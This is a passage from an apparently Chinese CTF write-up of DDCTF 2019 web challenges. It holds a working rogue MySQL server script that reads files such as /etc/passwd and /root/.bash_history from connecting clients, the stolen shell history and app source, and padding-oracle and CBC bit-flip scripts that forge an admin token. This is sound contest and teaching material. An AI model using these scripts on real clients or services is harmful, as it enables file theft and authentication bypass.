from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("UA :", self.headers.getheaders('user-agent'))
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(404)
        self.send_header("Set-Cookie", "foo=flag")
        self.end_headers()

        result = self._func()

        return_str = "mysqld"

        self.wfile.write(return_str)

        # self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(404)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()

        return_str = "mysqld"

        self.wfile.write(return_str)

        # self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

11、然后放上根据上面那篇参考资料改了改的恶意 MySQL 服务器。

#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
# tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format = logging.StreamHandler()
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:\boot.ini',
#    r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
    '/etc/passwd',
#    '/etc/shadow',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


class LastPacket(Exception):
    pass


class OutOfOrder(Exception):
    pass


class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '5.6.28-0ubuntu0.14.04.1' + '\0',
                    '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                ))            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()


class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)

z = mysql_listener()
# daemonize()
asyncore.loop()

12、然后运行,再点击下扫描。可以看到文件读出来了。

13、那么我们就来找找 flag 在哪。来看看管理员的操作记录吧。修改上面恶意服务器的 filelist, 读取 /root/.bash_history,结果如下。(换行已处理)

\x02history  -w
history  -w
ls
cat ~/.bash_history 
ls
ls
pwd
cd /home/dc2-user/ctf_web_2/
ls
cd app/
ls
cd main/
ls
vim views.py
ls
whoami
history 
exit
ls
cd ctf_web_
cd ctf_web_1/
ls
history 
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
LS
ls
cd ..
ls
cd ctf_web_2/
ls
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
source ctf_web_2/bin/activate
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
pip install supervisor
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisorctl status
ls
cat supervisor.conf 
ls
pwd
netstat -tlnp
curl http://127.0.0.1:5000
curl http://127.0.0.1:5050
ls
ps -aux | grep 5000
kill -9 13837
kill -9 18893
kill -9 18962
ls
ps -aux | grep 5000
ps -aux | grep 5000
cd ..
ls
pwd
cd /home/dc2-user/ctf_web_1
ls
cd web_1/
ls
cat web_1.out 
ls
pstree -ap|grep gunicorn
kill -9 14070 19310
pstree -ap|grep gunicorn
kill -9 19357
ls
pstree -ap|grep gunicorn
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 > web_1.out 2>&1 &
ls
tail web_1.out 
tail web_1.out 
tail web_1.out 
tail web_1.out 
tail web_1.out 
tail web_1.out 
ls
cd ..
ls
cd ..
ls
cd ctf_web_2/
ls
vim app/
ls
cd app/
ls'
ls
cd main/
ls
vim views.py
ls
cd ..
ls
cd ..
ls
tail web_2.out 
tail web_2.out 
la
ls
cd log/
ls
cat gunicorn.err 
tail gunicorn.err 
tail gunicorn.err 
tail gunicorn.err 
tail gunicorn.err 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
tail gunicorn.log 
ls
ls
cd ..
ls
tail gunicorn.log 
tail gunicorn.log 
ls
tail log/gunicorn.log 
tail log/gunicorn.log 
tail log/gunicorn.log 
ls
tail -20 log/gunicorn.log 
tail -20 log/gunicorn.log 
tail -50 log/gunicorn.
tail -50 log/gunicorn.log 
cat log/gunicorn.log 
ls
tail -50 log/gunicorn.err 
tail -100 log/gunicorn.err 
ls
ls
ls
ps -aux | grep 5000
kill -9 18982
kill -9 22189
ps -aux | grep 5000
ps -aux | grep 5000
pwd
ps -aux | grep 5000
netstat -tlnp
curl http://127.0.0.1:5000/index.html
ps -aux | grep 5000
ps -aux | grep supervisor
kill -9 20141
ls
ps -aux | grep supervisor
ps -aux | grep 5000
kill -9 22718
kill -9 22723
kill -9 22736
ps -aux | grep 5000
ls
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps -aux | grep 5000
ls
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
tail web_2.out 
ls
cd ..
ks
ls
cd ctf_web_1/
ls
cd web_1/
ls
tail web_1.out 
ls
history 
ls
ps aux | grep didi_ctf_web2.py
ps aux | grep didi_ctf_web
ps aux | grep 5000
kill 22836
kill 25892
ps aux | grep 5000
kill -9 22836
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
ls
vi restart.sh
vi restart.sh 
cat restart.sh 
idi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
idi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ls
cat restart.sh 
ps aux | grep 'gunicron' | awk '{print $2}'|xargs kill -9
ps aux | grep 'gunicron' | awk '{print $2}'
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 'gunicron' | awk '{print $2}'
ps aux | grep 'gunicron' | awk '{print $2}'
ps aux | grep 'gunicron' 
ps aux | grep 'gunicron' 
ps aux 
ps aux 
ps aux | grep 5000
ps aux | grep 'gunicron' 
ps aux | grep gunicron 
vi restart.sh 
chmod +x restart.sh 
ls
./restart.sh 
cat restart.sh 
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000| awk '{print $2}'|
ps aux | grep 5000| awk '{print $2}'
ps aux | grep 5000| awk '{print $2}'
vi start.sh 
vi restart.sh 
cat restart.sh 
ps aux | grep 5000 | awk '{print $2}'|head -n 1
ps aux | grep 5000 
./restart.sh 
ps aux | grep 5000 
cat restart.sh 
ps aux | grep 5000 
ps aux | grep 5000 
top
ls
ls
ls
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
cat restart.sh 
ps aux | grep 5000
ls
ps aux | grep 5000
kill -9 26850
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
ps aux | grep 5000
exit
cat restart.sh 
ps aux 
ps aux | grep 5000
kill -9 27121
ps aux | grep 5000
kill -9 27244
ps aux | grep 5000
kill -9 27270
ps aux | grep 5000
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps aux | grep 5000
top
ps aux | grep gun
ls
cd ..
ls
cd ctf_web_
cd ctf_web_1
ls
cd env/
ls
cd ..
ls
cd ..
ls
cd ctf_web_
cd ctf_web_2/
ls
curl 127.0.0.1:5000
ls
cd ctf_web_2/
ls
cd ..
ls
vi web_2.out 
tail web_2.out 
tail -f web_2.out 
ps aux 
ps aux | grep super
ps aux | grep su

ps aux | grep curl
ps aux 
ps aux | grep 5000
kill -9 27317
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:5000 > web_2.out 2>&1 &
ls
curl 127.0.0.1:5000
curl 127.0.0.1:5000/index.html#/scan
ps aux | grep 5000
kill -9 27967
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 >> web2.out 2>&1 &
ps aux | grep 5000
curl 127.0.0.1:5000/index.html#/scan
ks
ls
ls
ps aux | grep 5000
kill -9 28042
ps aux | grep 5000
ps aux | grep 5000
kill -9 28047
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 >> web2.out 2>&1 &
ps aux | grep 5000
ls
tail -f web2.out 
ls
ls 
ll
ls log/
cd log/
ls
tail -f gunicorn.
tail -f gunicorn.log 
cat gunicorn.log 
cat gunicorn.err 
cd ~
ls
pwd
ls
cd ~
cd /home/dc2-user/
ls
cd ctf_web_
cd ctf_web_2/
ls
cd log/
ls
cat gunicorn.log 
ls
cd ..
ls
cat supervisor.conf 
ls
find . gunicorn
find . -name gunicorn
find . -name guni
find . -name guni*
find . -name *access*
find . -name *guni*
ll
ll
top
ps aux 
ps aux | grep gun
ls
ls /
ls
ls
cd app/
ls
cd ..
ls
cat didi_ctf_web2.py
ls
tail web2.out 
vi  web2.out 
vi  web2.out 
ls
ps aux | grep 5000
kill -9 29481
ps aux | grep 5000
ps aux | grep 5000
kill -9 28151
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
kill -9 29548
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000
ps aux | grep 5000

ls
ps aux 
ps aux | grep 5050
exit
history 
tail -f web_1.out 
ps aux | grep 5050
kill -9 21115
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 29905
kill -9 29905
ps aux | grep 29905
history 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 > web_1.out 2>&1 &
ps aux | grep 29905
ps aux | grep 5005
ps aux | grep 5005
ps aux | grep 5005
ps aux | grep 5050
ps aux | grep 5050
top
htop
yum install htop
htop
ls
tail -f web_1.out 
ps aux | grep 5050
ps aux 
ps aux | grep guni
ps aux | grep 5050
kill -9 29984
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 127.0.0.1:5050 > web_1.1.out 2>&1
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 127.0.0.1:5050 > web_1.1.out 2>&1 &
ps aux | grep 5050
curl 127.0.0.1:5050
curl 127.0.0.1:5050/index.htm
ps aux | grep 5050
kill -9 30346
ps aux | grep 5050
ps aux | grep 5050
kill -9 30351
ps aux | grep 5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 >> web_1.2.out 2>&1 &
htop
ls
cd ..
ls
cd ..
ls
cd ctf_web_2/
ls
cat restart.sh 
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 & 
ps aux | grep 50
vi restart.sh 
exit
ls
vim web2/app/main/views.py
vim /home/dc2-user/web2

14、根据上面的操作记录,用相同的方法读取 /home/dc2-user/ctf_web_2/app/main/views.py 试试。

\x02# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get(\'target_ip\')
    target_port = request.args.get(\'target_port\')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "\xe5\x8f\x82\xe6\x95\xb0\xe4\xb8\x8d\xe8\x83\xbd\xe4\xb8\xba\xe7\xa9\xba", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "\xe7\xab\xaf\xe5\x8f\xa3\xe5\xbf\x85\xe9\xa1\xbb\xe4\xb8\xba\xe6\x95\xb0\xe5\xad\x97", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "\xe5\xbf\x85\xe9\xa1\xbb\xe8\xbe\x93\xe5\x85\xa5ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip\xe4\xb8\x8d\xe8\x83\xbd\xe6\x98\xaf\xe5\x86\x85\xe7\xbd\x91ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
\ttem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\xe6\x9c\xaa\xe5\xbc\x80\xe5\x90\xafmysql", "data": result})

    tmp_result =mysql_scan(target_ip, target_port)

    if not tmp_result[\'Flag\'] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 0, "msg": "\xe6\x9c\xaa\xe6\x89\xab\xe6\x8f\x8f\xe5\x87\xba\xe5\xbc\xb1\xe5\x8f\xa3\xe4\xbb\xa4", "data": []})
    else:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        result.append(tmp_result)
        return jsonify({"code": 0, "msg": "\xe6\x9c\x8d\xe5\x8a\xa1\xe5\x99\xa8\xe5\xad\x98\xe5\x9c\xa8\xe5\xbc\xb1\xe5\x8f\xa3\xe4\xbb\xa4", "data": result})


def checkip(ip):
    p = re.compile(\'^((25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$\')
    if p.match(ip):
        return True
    else:
        return False

def curl(url):
    tmp = Popen([\'curl\', url, \'-L\', \'-o\', \'content.log\'], stdout=PIPE)
    tmp.wait()
    result = tmp.stdout.readlines()
    return result

def get_agent_result(ip, port):

    str_port = str(port)
    url = \'http://\'+ip + \':\' + str_port
    curl(url)
    if not os.path.exists(\'content.log\'):
        return (0, \'\xe6\x9c\xaa\xe5\xbc\x80\xe5\x90\xafagent\')
    with open(\'content.log\') as f1:
        tmp_list = f1.readlines()
        response = \'\'.join(tmp_list)
    os.remove(\'content.log\')
    if not \'mysqld\' in response:
        return (0, response)
    else:
        return (1, response)


def ip2long(ip_addr):

    return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

    ip = ip2long(ip)
    return ip2long(\'127.0.0.0\') >> 24 == ip >> 24 or \\
            ip2long(\'10.0.0.0\') >> 24 == ip >> 24 or \\
            ip2long(\'172.16.0.0\') >> 20 == ip >> 20 or \\
            ip2long(\'192.168.0.0\') >> 16 == ip >> 16

def mysql_scan(ip, port):

    port = int(port)
    weak_user = [\'root\', \'admin\', \'mysql\']
    weak_pass = [\'\', \'mysql\', \'root\', \'admin\', \'test\']
    Flag = 0
    for user in weak_user:
        for pass_wd in weak_pass:
            if mysql_login(ip,port, user, pass_wd):
                Flag = 1
                tmp_dic = {\'weak_user\': user, \'weak_passwd\': pass_wd, \'Flag\': Flag}
                return tmp_dic
            else:
                tmp_dic = {\'weak_user\': \'\', \'weak_passwd\': \'\', \'Flag\': Flag}
                return tmp_dic



def mysql_login(host, port, username, password):
    \'\'\'mysql login check\'\'\'

    try:
        conn = MySQLdb.connect(
            host=host,
            user=username,
            passwd=password,
            port=port,
            connect_timeout=1,
            )
        print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
        conn.close()
        return True
    except MySQLdb.Error, e:

        print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
        return False

15、看到 “flag in mysql curl@localhost database:security table:flag”,就知道得去读取数据库的这个表了,那么这里我们直接读取数据库的 ibd 文件了。用相同的方法读取 /var/lib/mysql/security/flag.idb。

16、查找结果,Flag 到手~

八、再来1杯Java(320分)

题目说明

靶机:http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/

知识点(可能):Pad Oracle, CBC 翻转攻击,JRMP攻击

步骤:暂时无解

1、访问靶机。

2、Cookie 里获得一个 token。

3、判定是 Pad Oracle 解密。

4、来整个脚本解密试试。

import requests

import base64

url = 'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info'

N = 16

token = ''

get = ""

cipher = base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")[16:][16:]

def xor(a, b):
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

for i in range(1, N + 1):

    for j in range(0, 256):

        token = 'PadOracle:iv/cbc'

        padding = xor(get, chr(i) * (i - 1))

        c = chr(0) * (16 - i) + chr(j) + padding + cipher

        print(c.encode('hex'))

        print(len(token + c))
        token = base64.b64encode(token + c)

        print(token)

        header = {'Cookie': "token=" + token}

        res = requests.get(url, headers=header)

        data = res.content

        print(data)

        if 'decrypt err~' not in data:

            get = chr(j ^ i) + get

            break

plain = xor(get,base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")[16:][:16])
print(plain)

5、解密之后如下

6、然后写个 Python 脚本来搞翻转攻击,由于拿不到解密之后的密文,所以我们只能控制 iv 来修改第一块的内容,也就是解密之后内容变成 {“roleAdmin”:1,”dmin”:false}

import base64

import requests

url = 'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info'

cipher = 'UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'

cipher_o = base64.b64decode(cipher)

iv = cipher_o[:16]

cipher = cipher_o[16:32]  # {"id":100,"roleA

cipher2 = cipher_o[32:]  # dmin":false}

iv_array = bytearray(iv)
iv_array[2] = iv_array[2] ^ ord('i') ^ ord('r')
iv_array[3] = iv_array[3] ^ ord('d') ^ ord('o')
iv_array[4] = iv_array[4] ^ ord('"') ^ ord('l')
iv_array[5] = iv_array[5] ^ ord(':') ^ ord('e')
iv_array[6] = iv_array[6] ^ ord('1') ^ ord('A')
iv_array[7] = iv_array[7] ^ ord('0') ^ ord('d')
iv_array[8] = iv_array[8] ^ ord('0') ^ ord('m')
iv_array[9] = iv_array[9] ^ ord(',') ^ ord('i')
iv_array[10] = iv_array[10] ^ ord('"') ^ ord('n')
iv_array[11] = iv_array[11] ^ ord('r') ^ ord('"')
iv_array[12] = iv_array[12] ^ ord('o') ^ ord(':')
iv_array[13] = iv_array[13] ^ ord('l') ^ ord('1')
iv_array[14] = iv_array[14] ^ ord('e') ^ ord(',')
iv_array[15] = iv_array[15] ^ ord('A') ^ ord('"')
iv = bytes(iv_array)

header = {'Cookie': "token=" + base64.b64encode(iv + cipher + cipher2)}

res = requests.get(url, headers=header)

print(res.text)
print(header)

7、置 cookie,再打开看看。

8、下载下来,是这么一个文件。

Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~